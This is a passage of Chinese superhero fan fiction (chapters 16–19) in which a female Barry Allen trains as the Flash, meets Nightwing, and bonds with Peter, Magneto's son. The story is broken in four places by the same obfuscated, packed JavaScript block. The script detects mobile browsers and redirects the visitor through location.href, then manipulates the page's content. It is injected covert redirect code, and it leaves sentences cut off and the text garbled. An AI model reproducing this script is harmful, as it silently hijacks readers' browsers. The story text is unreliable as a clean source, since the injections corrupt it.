“不,那是一件没有终点的事。”巴莉不自觉地露出微笑。 起初,她留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033356|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来只是为了找出杀害母亲的凶手,让父亲获得清白。但现在,让她留在中心城的理由已经不止这些。 中心城是她的家,她所有的喜怒哀乐几乎都发生在这里。她想以闪电侠的身份守护这座城市,帮助在这里生活的人。 这是她找到的新的前进方向。 “看来我们的选择是一样的。”埃迪总结道,“我们都会留在这里。” 回实验室之前,巴莉露出欲言又止的神色。埃迪察觉到了,主动保证:“伦纳德的案子一有进展,我会第一时间告诉你。” “谢谢。”巴莉由衷地说。她不知道是谁把埃迪调到了中心城警局,但此刻,她对那个做出决定的人充满了感激。 两人一起走进警局,在大厅里分开。埃迪回到座位,对着电脑屏幕开始干劲十足地工作。 对面的乔从文件上抬起头,看了埃迪一眼,又收回了目光。 下班之后,巴莉比以往更雀跃地冲到了星辰实验室,迫不及待地想知道威尔斯博士为她准备了什么计划。 威尔斯博士列出的测试内容长达数十页,打算据此定制训练计划。她让巴莉先吃饭,但巴莉已经跃跃欲试了。 “你不饿吗?”威尔斯博士有点惊讶。 巴莉确实有些饿,但她满不在乎地说:“没关系的,还是先做测试吧,反正用了神速力之后也会饿。” “别说傻话了。”威尔斯博士温和却坚定地对巴莉招招手,“难道你明天还会困,今天就不打算睡觉了吗?” 巴莉只好坐下吃饭,如果不是威尔斯博士把话题转到了制服上,她很想用神速力把饭在一秒钟内吃完。 “你现在的面罩是分体式的,对脖颈的保护略弱。我觉得可以改成在背面连接的设计,你怎么看?”虽然还没看到实物,威尔斯博士对巴莉的制服已经有了大致了解。 “好主意,可以试试。”巴莉充满期待地说。 终于吃完饭,巴莉跟着威尔斯博士来到实验室的地下一层。她第一次踏入这个区域,好奇地东张西望。 这里完全依赖人工照明,冷白色的光线从四面八方射出,将空间照得通亮,几乎消除了所有影子。然而,这种明亮却令此处显得更加幽静。 “这是我改造的跑步机,不确定是否能承受你的速度。”威尔斯博士看着自己的作品,语气谦虚,却透着自信,“试试吧,巴莉。” “我忽然觉得自己像是一只仓鼠。”站在跑步机上,巴莉因为莫名其妙的即视感而呆了几秒,“而这就是我的滚轮玩具了。” 威尔斯博士轻笑了一声。她望着巴莉,鼓励地说:“跑吧,巴莉,跑吧!(Run, Barri, run!)” 巴莉深吸一口气,启动机器,然后开始奔跑。起初,她并未使出全力,但在发现这台跑步机真的能承受她渐进式的加速之后,她便没有顾忌地奔跑起来,几乎化作一道残影。 威尔斯博士坐在轮椅上,神情专注,镜片上映出了巴莉的身影。 16.第 16 章 完成几项测试之后,巴莉和威尔斯博士一起回到办公室。 晚饭还剩了不少,巴莉一边补充能量,一边听威尔斯博士分析刚刚记录下的数值。 “你的速度很快,比我之前预期的还要高出一截。”威尔斯博士在询问过巴莉平时如何运用神速力之后,沉吟着说,“但你的使用方式相当直接,几乎完全依赖比对手更快这一点。这在多数情况下当然有效,但也意味着你尚未真正挖掘神速力的全部潜力。我想,我们需要找到更多的应用方式。” “我目前只遇到过普通人。只要速度够快,事情就解决了。”巴莉歪着头,认真地回忆起来,然后又补充道:“但未来就不一定了。如果对方也是超能力者的话,也许会有某种能力能抵消我的速度优势,或者直接克制我的能力,虽然我现在还想不出那会是什么原理。” “看来你已经思考过这个问题了。”威尔斯博士满意地点头,“你的制服带来了吗?” 巴莉从背包里拿出制服,有点不好意思:“这是我目前能买得起的最贵的材料了。” 可供她自由支配的资金并不算多。父亲卖掉房子的那笔钱,一部分用来支付律师费了,另一部分存了起来,每个月向她的账户转入一笔不大的金额。 乔坚持不让巴莉承担住在家里的生活费,哪怕她已经成年、已经读完大学也是一样。他的理由是:“你能吃掉多少食物?” 这句话在巴莉食量大增之前还勉强说得过去,而在她因为神速力而变得格外能吃之后,这句话便迅速被乔封存进了“再也不提”的脑内文件夹里。 取而代之的,是他和伊德瑞斯之间的默契行动。两人明显提高了采购杂货的频率,冰箱永远是满的,橱柜里总会提前补好零食,几乎不给巴莉任何机会。 在这件事上,乔的态度堪称固执。他始终在生活上将巴莉当成小孩子照顾,在那场事故之后变本加厉,绝不希望她为生活烦恼。 于是,巴莉真正需要自己掏钱的地方很有限。中学时期的学费由她的账户支付;到了大学,她的奖学金足够覆盖全部学费,打工赚来的钱是可以自由支配的零花钱。 工作之后,巴莉拥有了一份稳定却谈不上高薪的收入,就算她每天不吃不喝,每个月能攒下的钱也很有限。 幸运的是,她租的那间仓库便宜到不可思议。原因很简单,那里曾经发生过一起占据报纸头条的碎尸案。 看到招租广告后,巴莉等不及下班,午休时就赶了过去。她强压下心中的窃喜,假装嫌弃地和房产经纪讨价还价了一番,最终让对方在原本就已经很低的租金基础上额外打了个折。 不过那间仓库的环境真的很糟糕,巴莉独自用神速力打扫了足足几分钟,确保一丁点可疑的痕迹都没有留下,还重新粉刷了墙壁,让那里恢复得比案发前还干净。 它的额外优点是连窃贼都会绕着走,她可以安心地把它作为自己的秘密据点。 巴莉将所有的钱都投入到了制服上,而且越来越清楚地意识到这是一个无底洞,一个普通人的收入无法长期支撑,根本不是靠节省、靠精打细算就能解决的问题。 她不知道其他超级英雄是怎么做到收支平衡的,倒是知道几个完全不具备参考价值的例子: 超人。他是外星人,也许人类社会的经济规则对他根本不适用;又或者,他的母星拥有数不清的资源,他可以随意取用。 神奇女侠。据说她是亚马逊的公主,宙斯的女儿。“富可敌国”这个词放在她身上甚至显得过于朴素,配不上她的半神身份。 查尔斯教授。亿万富翁,资产增加的速度永远快于消耗。因为金钱而烦恼,这种事情在他的世界里完全不存在。 还有谁能作为参考呢? 蝙蝠侠。关于他的传闻总是夸张到失真,在巴莉这个中心城人看来,其中的艺术加工成分可能占比过高。 比如,有人说蝙蝠侠偶尔会驾驶着一辆体积堪比坦克、功能多到令人眼花缭乱的战车在哥谭的街头横冲直撞。听起来,那辆车不仅造价不菲,维护成本也足以让普通人破产。 也有人说,蝙蝠侠的常用道具蝙蝠镖,在哥谭黑市上被炒出了极高的价格。 巴莉的思绪不受控制地顺着这个方向滑了下去——有没有这样一种可能,蝙蝠侠自己在偷偷出售蝙蝠镖? 自产自销,利润何止是百分之三百。 “在这方面,我也可以帮你。”威尔斯博士的话将巴莉从越来越奇怪的猜测中猛地拉了回来。 “你要资助我吗?”巴莉又惊又喜,话一出口又冷静下来。 她认为威尔斯博士的经济状况并不乐观。星辰实验室经历过那样一场事故,如今还能维持基本运转就很不容易了。 而将资源投入到她的义警工作上,这种支出纯粹是慈善行为,还是不能抵税的那种。她又不能给威尔斯博士开出一张被国税局认可的收款凭据。 话说回来……星辰实验室如今真的还有收入吗? 巴莉担心地皱起眉,开始思考要如何委婉地谢绝威尔斯博士的好意,又不会伤害到对方的自尊。 威尔斯博士看着巴莉的脸色变换,直接地解释道:“别担心,星辰实验室没有破产,而且我个人名下仍然有数个专利许可,每年都能持续带来收入。说不定我还能在改进制服的过程中做出些新成果呢。” “原来是这样。”巴莉松了口气,但还是不好意思白占便宜,主动提出:“如果有什么我能帮实验室做的,尽管使唤我。” “也许真的会有。”威尔斯博士没有拒绝,“事实上,实验室最近有个好消息。我找到了一位投资人,出手相当大方,而且几乎不参与被投资方的日常运营管理。如果一切顺利,几个月内资金就会到位,实验室也会开展更多的项目。” “那真是太好了!恭喜。”巴莉由衷地说。她小声地问:“是哪位富豪呀?需要暂时保密吗?” “目前对外需要保密,但可以告诉你。”威尔斯博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045388|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士故意停顿了几秒,直到巴莉身体不自觉地向前倾,几乎要开口催促,这才揭晓答案,“韦恩集团。” “布鲁斯·韦恩?”巴莉脱口而出。 “对,他是集团的老板,不过不怎么参与集团管理,这次投资大概是某个高管审批通过的结果。” “不管是谁的决定,这都是个正确的决定。”巴莉给两人各倒了一杯水,把其中一杯放在威尔斯博士面前,“干杯。” 威尔斯博士配合地举起杯子:“干杯。” 玻璃杯相碰,发出清脆而短促的声响。就在这一瞬间,巴莉的思绪却不合时宜地又跑偏了。 她忽然想起一个传闻——蝙蝠侠是被布鲁斯·韦恩包养,哦不,资助的。 这么说来,她和蝙蝠侠岂不是在同一个“赞助体系”里?他们算是半个同事吗? 她又想到另外一个出现不久的义警,布鲁德海文的夜翼。他会不会也是靠着韦恩先生的资金支持才坚持下来的?毕竟,相比中心城,布鲁德海文离哥谭市更近。 离开星辰实验室后,巴莉决定去拜访夜翼。 沿着高速公路奔向布鲁德海文之后,她先去了警局,打算悄悄看一眼加班的迪克,结果整个警局转了一圈也没找到那个熟悉的身影。 巴莉只好作罢,把注意力转回了真正的目标。 她机智地去找那些灯光昏暗、略显脏乱的小巷,果然很快有了发现。夜翼刚刚救下了一名遭遇抢劫的路人。他没有急着离开,而是将短棍利落地插回背后,然后耐心地安抚着对方的情绪,语气温和。 巴莉躲在一旁观察,没意识到自己有多么鬼鬼祟祟。 夜翼的制服看起来就是普通的凯夫拉纤维制作的,虽然不便宜,但也没有贵到需要亿万富翁赞助的程度。他的战术手套里似乎能藏下一些小型工具,靴子里大概也预留了空间,但整体来看,他更像是轻装上阵,而不是全副武装的移动军火库。 唔,在装备上挺节俭的。他大概和她一样精打细算。 巴莉看着夜翼拍拍受害者的肩膀,随后以一种几乎不符合人类关节活动极限的奇妙姿势跃上天空——哦,他用了抓钩枪——划出一道优雅的弧线。她看得出了神,反应过来之后急忙追上去,没意识到对方正在故意把她引向一个偏僻的地点。 “你已经跟踪我够久了。出来吧。”夜翼停下脚步,双手环胸站在那里,被变声器处理过的声音在夜色里显得格外清晰,“别藏头藏尾的。” 巴莉觉得对方的声调有点熟悉,但一时想不出答案。她怀疑夜翼是在诈自己,可她是想来与夜翼交朋友的,又没打算搞什么偷袭,便大方地现身,停在与对方相隔数米的位置,挥了挥手:“夜翼,你好。我是闪电侠,从中心城来的。” 这一次,她没有像平时那样通过高速振动让人看不清面容,反正头罩已经挡住了脸。不过她还是习惯性地用高速振动调整了声线。 毕竟,第一次拜访邻城义警,谨慎一点总没错。 17.第 17 章 巴莉走近了几步,伸出手想和夜翼握一下,作为这次友好会面的开始。 这只是一个再标准不过的社交动作,但动作敏捷的夜翼却没有立刻回应。他明显在对着巴莉发呆,慢了半拍才伸出手:“欢迎你。” 巴莉没有感觉到自己真的被欢迎了,松开手之后默默地后退了一步,在两人之间重新拉开距离。 夜翼察觉到了她的动作,大脑飞速运转,想找个更委婉的方式说出接下来的话,但没有成功,最后还是直接地提问:“你遇到什么麻烦了吗?” “什么?不,我只是想来和你打个招呼。”巴莉没想到自己会被当成来求助的人,但夜翼语气里的担忧与关切太过明显,而且没有居高临下的态度,让人很难感到被冒犯。 她开始觉得自己这么冲动地跑来布鲁德海文可能太冒失了,诚恳地解释道:“我觉得,是时候走出自己的城市,和邻居们联络一下感情了。也许未来我们会需要对方的援手,多一个朋友总是好的。” 巴莉原本打算顺势恭维几句,比如夸一夸布鲁德海文的夜景。换位思考的话,她很喜欢听别人夸中心城,哪怕是陈词滥调也无所谓。 就好像养猫的人都喜欢听别人夸自己的猫天下第一可爱,至于那在别人心里是不是事实,根本不重要。 但当她眺望远方,看见数不清的霓虹广告屏在高楼的阴影中闪烁,整个城市像是一幅过度曝光的赛博朋克像素画时,她卡壳了,脱口而出的是:“我下次能在白天来找你吗?不过得在周末。” 夜翼摇摇头:“我白天很忙。” 他说这话时,目光仍然落在巴莉脸上,像是在确认什么,又像是在否定某种过于荒唐的联想。 “我是不是出现得太冒昧了?”巴莉觉得夜翼的态度冷淡得过分,尤其是和她刚才看到的、他对其他陌生人的应对方式相比。 她有点失望,但还是努力地继续对话:“我不是来干预你工作的。我听说那些成名已久的超级英雄对自己的地盘边界感都很强,我理解也尊重这一点。毕竟,我自己可能也有点这种倾向。” 话说得礼貌,她却忍不住在心里嘀咕:夜翼出现的时间不过短短几年,为什么他看起来这么严肃啊?像是已经干了十年义警一样,老练又沧桑。 扪心自问,巴莉觉得她不会这么快地发现有人在旁边观察自己,更不会这么自然地把对方引出来。 “我确实不希望其他人不请自来,至少别太频繁。”夜翼忽然对聊天表现出了热情,但说的话差点把巴莉当场气晕。“虽然你穿着红色制服,胸前也有黄色闪电标志,但你要怎么证明,你就是闪电侠呢?” 巴莉还从来没遇到过这个问题,震惊地看着夜翼:“你不相信我是闪电侠?” 威尔斯博士可是一点怀疑都没有,迅速地接受了她的说法,然后便全心全意地为她做起计划。 天啊,夜翼和她预期的完全不一样。她还以为能和对方成为朋友呢。 “只是谨慎而已。”夜翼耸耸肩,“超级英雄又没有身份证明。” 巴莉骤然行动,绕着夜翼跑了几圈,又在眨眼间站回原地,恼火地瞪着他:“这个速度,难道还不足以证明吗?” “超人也能做到这一点。”夜翼理所当然地说。“哦对了,你还可能是变种人。” 巴莉趁机反问:“那你是变种人吗?” “我只是一个擅长体术的普通人类。”夜翼淡淡地说,由于谦虚得过分,反而像是在炫耀自己非凡的灵活性。“不过,你看起来不怎么擅长战斗,也没什么战斗意识。” “我打算学了。”巴莉赶紧说。“我之前只是还在适应神速力。” “如果你真的是闪电侠的话。”夜翼仍揪着身份问题不放。 “我真的是闪电侠。不是外星人,也不是变种人。”巴莉郁闷了,意识到自己被拖进一个毫无胜算的自证难题里。她泄气地说:“算了,随便你信不信吧。我要回家了。” “这么晚了,不吃点东西再走吗?”夜翼的情商又上线了,仿佛待客之道终于在他的大脑里加载完成,“我知道一家夜间餐车,做墨西哥卷的。我请客。” 巴莉很有骨气地拒绝了:“谢谢你,我不饿。” “那家的慢炖牛肉很好吃。”夜翼补充道。 “我对牛肉过敏。”巴莉还在生气,一字一顿地说。 “他们的炸鱼柳也很受欢迎。”夜翼仍在不懈地劝说。 “我对鱼也过敏。”巴莉继续胡扯。“如果你以后遇到冒充闪电侠的人,可以用这一点辨别。” 在她准备用神速力离开之前,夜翼忽然笑了。 他向四周扫了一眼,确定没有其他人之后,极轻地喊出她的名字,然后说:“你对那些才不过敏。” 巴莉僵住了。她用一种对闪电侠来说慢得过分的速度转过身,努力维持语气镇定:“你一定是认错人了。” 但她心里很清楚,她的反应已经出卖了真相,让这句否定显得无比苍白。 “我认出了你,你却没有认出我,这让我很伤心。”夜翼摘下其实只挡住了上半张脸的面具。 巴莉终于知道一直萦绕心头的熟悉感是从何而来了,并为自己没看出夜翼是迪克而懊恼:“你是故意的!但这不是我的问题,我可不认识你这么爱抬杠的一面。” 迪克重新戴上面具,有点得意地笑了一下:“那现在呢?你还过敏吗?” “在你旁边的话,我将因为愤怒而对一切食物过敏。”巴莉宣布。 “包括上次的饼干吗?”迪克毫无求生欲地问。 “走,现在就走。我要吃掉你一个月工资。”巴莉恼羞成怒了。 与此同时,她的心里默默流泪。 夜翼根本不需要韦恩先生赞助,他自己就很有钱了。 到头来,工薪阶级还是只有她自己。 “想吃多少都行。”迪克的回答充分显示出他完全不在乎工资,上班只是为了追求理想。 “算了,我明天还得上班,不能回去太晚。”巴莉又反悔了。 “你真的生气了吗?”迪克开始反省自己的玩笑是不是开得有点过头。 “有一点。”巴莉其实已经消气了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049827|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然迪克这么问了,她当即决定要恶作剧一下。 话音刚落,巴莉便从迪克眼前消失了。 迪克还来不及掏出手机写一条求和短信,巴莉已经在他身旁出现。他感觉到脑袋上多了一点重量,想了想,决定假装什么都没察觉。 巴莉忍着笑,一本正经地说:“下次再请我吃吧。晚安。” 这一次,她真的离开了。 “晚安。”迪克对着空气说。 他抬手摸了摸头顶,随即把那个东西摘了下来。 是一顶花环,编得有点歪歪扭扭的,一看就知道制作者不太熟练。 不,制作者脑子里想的并不是花环。 可能是怕他无法理解这件充满创意的艺术品,巴莉在上面夹了一张纸条,潦草地写着一个词:鸟窝。 迪克低低笑出声。 下一秒,大蓝鸟带着他的便携鸟窝,再一次翱翔在布鲁德海文的夜空中。 巴莉回到中心城的时候,发现竟然下起了雨。 明明她离开的时候,夜空还很晴朗,她确定自己看到了月亮和满天星星。而此刻,天空中电闪雷鸣。 巴莉洗了一个热水澡,舒服地钻进被子里。她打了个哈欠,但思绪还在绕着今晚突然得知的消息跳来跳去。 迪克竟然是夜翼。 他这样没日没夜地工作,真的还有时间睡觉吗? 无论如何,她可不希望这位警察兼义警在来中心城的路上累到开车时打瞌睡。 巴莉拿起手机,给迪克发了一条信息:“下次我去找你。下下次也是。” 将手机放在床头柜子上,她又一次感慨,迪克真的是个很好的人。 最初她这样想,是因为他明明出身富贵,却选择没苦硬吃地离家去做一名警察,还因为不肯同流合污而被排挤。而现在,她发现他做的远不止那些。 但她明白迪克为什么会做出那样的选择,就像她知道自己这么做的理由。 她想帮助别人,想让世界变得更好。哪怕有时她做的只是一些小事,但那些瞬间对当事人而言却是真实而沉重的。 闪电侠的出现意味着危险被提前终止,意味着命运被轻轻拨动了一点角度,意味着他们没有被这个世界放弃。 巴莉关上灯,在被子里缩成了一个舒服的姿势,希望明早起来时天已经晴了。 尽管发生在深夜,但注意到这场异常天气的不只是巴莉。 第二天早上,天气预报员在播报中提到了这次突发雷雨。 实验室的同事们也在闲聊时讨论起天气的反常,将其当作日常中的小小趣闻。 “还下了冰雹。”一位同事抱怨道。“我的花好不容易开了一朵,结果被砸蔫了。” “幸好大家的挡风玻璃没事。”另一位同事庆幸道。 巴莉回想了一下,不记得自己昨天看到过冰雹。她知道这两位同事家和韦斯特家不在同一个城区。听他们的描述,那边的雷雨似乎更猛烈一些,温度也更低。 同一座城市,不同区域的天气居然差异如此明显,这怎么看都不正常。 18.第 18 章 午饭时,巴莉查看了媒体报道和居民发布的视频和评论,结合昨晚暴雨出现的时间、强度以及不同城区的受影响程度,在脑海中勾勒出一张粗略的气象分布图。 她对中心城太熟悉了,尤其是在获得神速力之后,所有街道和建筑都了然于心。 如果这并非单纯的天气异常,而是人为造成的结果,那个人所在的位置很可能就是暴雨与冰雹最严重的区域。风暴以那里为原点诞生,向四周扩散,蔓延过程中不断衰减,覆盖了几乎整个城市。 也许是某个忽然获得了能力的人在练习。 巴莉想到这里,更加担心起来。操纵一种可能尚未完全受控的力量,这本身就很危险,更何况练习的地点是人口密集的城市,那就是加倍的危险了。 她决定,下次天空再忽然下大雨时,她要去追逐风暴,看看到底是怎么回事。 如果对方只是想更熟练地控制天气,至少应该选在远离居民区的地方。否则再来几次,气象部门的工作人员就得当众道歉了。 如果对方的计划是掌握新技能,然后做点违法犯罪的事情,那她将先用口头方式劝诫对方——犯罪一时爽,亲人两行泪——倘若没有起到效果,那她就用神速力把对方抓起来,送给警察和法官们去教育。 同时,这场风暴也给了巴莉一点灵感。如果她的速度足够快,是否能制造出一场龙卷风呢?那样一来,如果碰到非常可恶的坏蛋,她或许根本不需要亲自接触或击倒对方,只要把人从中心城直接吹走就行了。 节能环保不伤手,保持了社交距离,还为人烟稀少的撒哈拉大沙漠输送了生物,让那里变得生机勃勃。 她可真是个懂礼貌的闪电侠啊。 巴莉在心里对自己竖起大拇指,将三明治的包装纸丢掉,回去上班了。 之后的几天,中心城非常安静祥和,天气也好得一如既往。巴莉开始觉得之前是自己疑神疑鬼,一定是被布鲁德海文的夜景影响了。 在这期间,迪克和巴莉的联络变多了,虽然只是更多零碎而随意的信息。他们绝口不提彼此的另一重身份,但这个相同的秘密似乎让他们更理解对方了。 周六那天,巴莉独自在实验室值班。她将一瓶毒理分析用的溶液归位,再一转身时,看到一个打扮得十分潮流的身影坐在自己对面那张办公椅上。 “下午好,巴莉。”彼得露出略带紧张的笑容,因为他看到巴莉板起了脸。 “你为什么不敲门?”巴莉吓唬彼得。“这里有各种化学试剂,都是剧毒的,你不许乱动。” 她暗自埋怨自己的警惕性太低,实验室里来了人都没留意。如果来的不是彼得,而是想要销毁现场证据的人呢? 不过,能有彼得这种速度的人也不多吧。 彼得觉得自己简直被当成小学生恐吓了。他又不是文盲,好歹学过化学知识,也看过无数犯罪现场调查的电视剧。 可他只是扁扁嘴,把双手平放在桌上,像是在说“我什么都不会碰”,然后用下巴指了指桌上的纸盒:“我买了点心。” 彼得太有礼貌,巴莉不好意思再欺负他,去茶水间倒了两杯咖啡。 “谢谢。”彼得接过杯子喝了一大口,没表露出任何嫌弃,看起来对饮食并不挑剔。“你忙吗?” “今天事情不多。”巴莉看了一眼时间,“我还有一个小时下班,带你去吃晚饭。” “教授给了我零花钱,让我请客。”彼得说。 “你都买点心了,晚饭当然要我付。不过我不会带你去米其林三星餐厅的。”巴莉打开盒子,拿起一枚丹麦酥。 “那我能帮你做什么吗?”彼得好奇地打量着实验室里的设备,依然老实地坐着。 “没什么要做的。”巴莉咬着点心,坐在电脑前飞快地整理报告。在彼得面前,她没什么可隐藏的,直接用了神速力。“我写完了。” 接下来的一个小时,巴莉打算在摸鱼中度过,顺便回答好奇彼得的问题。 过了五分钟,她觉得累了。 彼得的语速快得离谱,问题一个接一个,以普通人根本无法分辨的速度抛出来。巴莉被他带偏了节奏,也下意识用起超级速度回复。两个人你来我往,几乎像是在用闪电对话。 “停。”巴莉用双手在彼得脸前比了一个叉,强行中止了对话,顺手拿起一个开心果扁可颂塞进他的嘴里。 彼得下意识地地叼住可颂,困惑地望着巴莉,不知道她为什么要喊停。 “如果照这个速度聊上一个小时,”巴莉解释道,“我们大概会把从宇宙大爆炸到现在发生的所有事情都复盘完了。” 彼得无辜地眨了眨眼,终于安静下来,开始认真吃可颂。巴莉这才松了口气,也低头继续吃自己手里的。 过了一会儿,彼得把最后一口咽下去,用正常的语速说:“晚饭之后,我们一起绕着城市跑几圈吧。” “你是特意来找我赛跑的吗?”巴莉有点无语,但又不得不承认,这个主意听起来挺好玩的。 “我不知道还能玩什么。你想一起打游戏吗?”彼得有点窘迫。他在来之前想了很久,但也没想出还能做些什么。 “你喜欢看漫画吗?”巴莉问。 “偶尔吧。”彼得说。 “我有《闪电侠》的漫画全集,你想看吗?我们还可以一起讨论剧情。” “是关于你的故事吗?”彼得很吃惊。“我以为你刚获得能力没多久。看来你真的很受中心城人的喜爱。” 这回轮到巴莉吃惊了:“当然不是我。” 她看着彼得,确认他不是在开玩笑:“你居然真的没听说过?” 彼得摇了摇头。 “故事与我无关。漫画背景在隔壁的基斯顿城,主角叫杰伊·加里克。不过,给我起这个代号的人肯定也是想到了这部漫画。”巴莉想起和伊德瑞斯一起收集漫画的日子,忍不住笑起来。“杰伊的超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053829|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力是速度,我一直很喜欢这部漫画。” “我竟然从来没听说过。”彼得已经坐不住了,“我现在就想去看。” “可能因为它只是本地出版社的作品,在纽约不怎么流行吧。”巴莉伸手按住蠢蠢欲动的彼得,以免明天中心城多出一道银色闪电的传说。“我还没下班,不能走。” 彼得只好继续坐着,神情忧郁地看着手机上的时间像乌龟一样慢慢改变。 “我看你根本没心思吃晚饭了,还是打包披萨吧。”巴莉围观几秒,果断改变行程。“不过你得保证,绝对、绝对不能弄脏我的漫画。否则——” 在她想出一个可怕又具体的威胁之前,彼得已经认真表态:“我绝对非常小心地翻阅。连一丝褶皱都不会留下。” “很好,保持这种朝圣的心情吧。”巴莉十分满意。 伊德瑞斯虽然也会陪她一起看漫画,却远没有她这么投入;而现在,她很可能收获一位真正的同好,那种可以反复讨论剧情、疯狂夸赞主角魅力也不会嫌彼此烦的同好。 巴莉打电话预订了披萨。彼得自觉地洗干净咖啡杯,又顺手收拾了桌面,接着重新坐回去,对着手机继续发呆。 终于,当时间走到下班的那一刻,彼得“噌”地一下站起身,几乎是弹到了巴莉身边。 “下班。”巴莉宣布道,“跟着我,别走丢了。” 彼得有点不服气,打算向她证明这根本不可能发生。 下一秒,他们消失在警局中,从其他人眼前掠过,却没有被任何人察觉。 “这里也太酷了吧。”彼得捧着披萨盒惊呼出声,眼睛一眨不眨地看着巴莉在他面前打开了一扇通往新世界的大门。“这地方简直就是人间天堂。” “倒也不用这么夸张。”巴莉把彼得推进仓库里,随手把门锁上,语气尽量显得漫不经心,而不是过于骄傲。 虽然她的心里已经在骄傲地大喊了。 彼得跑到书架前,看着整齐排列的漫画书,那里除了《闪电侠》还有不少其它作品。他回头看向巴莉:“我可以开始看了吗?” “当然可以。”巴莉被他的热情打动,忍不住鼓励道,“你尽管看吧。我会记得给你留一片披萨的。” 彼得把整部漫画一口气看完,又从头翻了一遍,这才长长地呼出一口气:“从现在开始,我也是杰伊的粉丝了。” “欢迎加入粉丝团。”自封为团长的巴莉热情鼓掌,“我最喜欢他说的那句话:当超级英雄,不在于你跑得有多快,而是在任何需要你的地方,竭尽全力去帮助别人。” “杰伊并没遇到过什么了不得的对手,但他让城市变得更好了,这比打倒一个怪物更厉害。”彼得咬了一口披萨,已经凉了,但他却觉得从没吃过这么美味的食物。 他悄悄地看向坐在单人沙发上的巴莉。她正在对他微笑,就好像他们已经是认识了很久的好朋友一样。 这里真的就是天堂。 19.第 19 章 在亲眼看到闪电侠的制服时,彼得的眼睛瞪得圆溜溜的,赞叹之情溢于言表。 “太酷了!”他惊叹道,眼睛里简直要喷出小红心。“我能摸摸吗?” “当然。”巴莉大方地应允。 出乎她意料的是,彼得并不是对制服的材料产生了兴趣,而是小心翼翼地去摸面罩耳侧的小小黄色闪电装饰:“这个设计是致敬杰伊吗?” “没错。他的金属头盔两侧是羽翼状的装饰,我简化了一下。”巴莉兴奋地说。 彼得是第一个发现这一点的。 倒不是说中心城没有其他《闪电侠》漫画的粉丝了,只是人们看到的永远都是一道红色的身影,最多能辨别出胸前的黄色闪电。没人能真正看清头部细节,更别说注意到面罩两侧还藏着这样一个小小的、近乎私人的装饰了。 但巴莉也没办法在高速振动的时候,单独让面罩保持静止。 “简化的也很好看。”彼得真情实感地说。 巴莉开始翻旧账:“那我和你,谁更酷?” 彼得眼神飘忽:“你的便装和制服……可以分开比较吗?” “我又不是人格分裂。”巴莉不满道。 “那如果算平均分的话,制服的分数会被拉低啊。”顶着巴莉的死亡眼神,彼得还是坚持了自己的观点,神态却堪称视死如归。 巴莉故意盯了他几秒,然后宽宏大量地说:“算了,至少你懂得欣赏制服。” “制服是满分,不,双倍的满分。”彼得立刻赞美道。 “双倍的满分都能让我的平均分输给你。”巴莉高兴了半秒钟,旋即发现这句夸奖之中的问题。 彼得张了张嘴,然后很有求生欲地闭上了嘴。 仓库虽然没有窗户,但时间的流逝依然有迹可循。巴莉瞥了一眼墙上的挂钟,提醒道:“你该回去了。” 彼得磨磨蹭蹭地不想走,像一只被人领回家喂了饭之后要被放归大自然的小狗,绕着巴莉耍赖,在被拒绝之后还不死心地坐回椅子上,露出可爱的笑容试图打动巴莉。 但巴莉的态度坚决,不肯纵容夜不归宿的行为。 “我已经和教授报备过了。”彼得小声嘟囔着,整个人往椅背里又缩了缩,仿佛要和这张椅子融为一体,避免需要离开的命运。 当然,这是徒劳的。 “汉克教授看起来可不像是会同意的类型。”巴莉怀疑地挑了挑眉。 “是查尔斯教授。”彼得纠正道,“零花钱也是他给我的。” “他是不是很偏爱你?”巴莉之前就隐约有这种感觉了,“虽然他对所有学生都很好,但对你格外……怜爱。” 最后一个词有点奇怪,巴莉说完就意识到了,但她一时也想不出更合适的形容。 彼得沉默了两秒,神色复杂地说:“也许因为我的父亲是万磁王。” “什么?”巴莉愣住了,“可是查尔斯教授说……” 她的话停在一半,意识到查尔斯教授只是说彼得被母亲独自抚养,完全没提过彼得的父亲。 